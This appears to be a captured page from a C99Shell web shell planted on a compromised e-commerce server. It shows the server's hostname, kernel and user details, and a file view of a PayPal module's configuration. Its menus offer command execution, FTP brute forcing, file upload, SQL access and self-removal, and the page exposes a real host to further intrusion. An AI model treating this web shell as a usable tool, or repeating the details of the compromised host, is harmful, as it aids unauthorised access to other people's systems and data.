!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Paypal/Config/   drwxr-xr-x
Free 26.51 GB of 117.98 GB (22.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     config.php (1.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

return [
    
'name' => 'Paypal',

    
'alias' => 'paypal',

    
'logo' => 'Modules/Paypal/Resources/assets/paypal.png',

    
// Stripe addon settings

    
'options' => [
        [
'label' => __('Settings'), 'type' => 'modal''url' => 'paypal.edit'],
        [
'label' => __('PayPal Documentation'), 'target' => '_blank''url' => 'https://developer.paypal.com/api/rest/']
    ],

    
'validation' => [
        
'rules' => [
            
'secretKey' => 'required',
            
'clientId' => 'required',
            
'sandbox' => 'required',
        ],
        
'attributes' => [
            
'secretKey' => __('Client Secret Key'),
            
'clientId' => __('Client Id'),
            
'sandbox' => 'Please specify sandbox enabled/disabled.'
        
]
    ],
    
'fields' => [
        
'secretKey' => [
            
'label' => __('Client Secret Key'),
            
'type' => 'text',
            
'required' => true
        
],
        
'clientId' => [
            
'label' => __('Client Id'),
            
'type' => 'text',
            
'required' => true
        
],
        
'instruction' => [
            
'label' => __('Instruction'),
            
'type' => 'textarea',
        ],
        
'sandbox' => [
            
'label' => __('Sandbox'),
            
'type' => 'select',
            
'required' => true,
            
'options' => [
                
'Enabled' => 1,
                
'Disabled' =>  0
            
]
        ],
        
'status' => [
            
'label' => __('Status'),
            
'type' => 'select',
            
'required' => true,
            
'options' => [
                
'Active' => 1,
                
'Inactive' =>  0
            
]
        ]
    ],

    
'store_route' => 'paypal.store',


    
/**
     * Paypal payment routes for returning and canceling payment
     */
    
'return_url' => 'paypal.capture',

    
'cancel_url' => 'paypal.cancel'
];

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--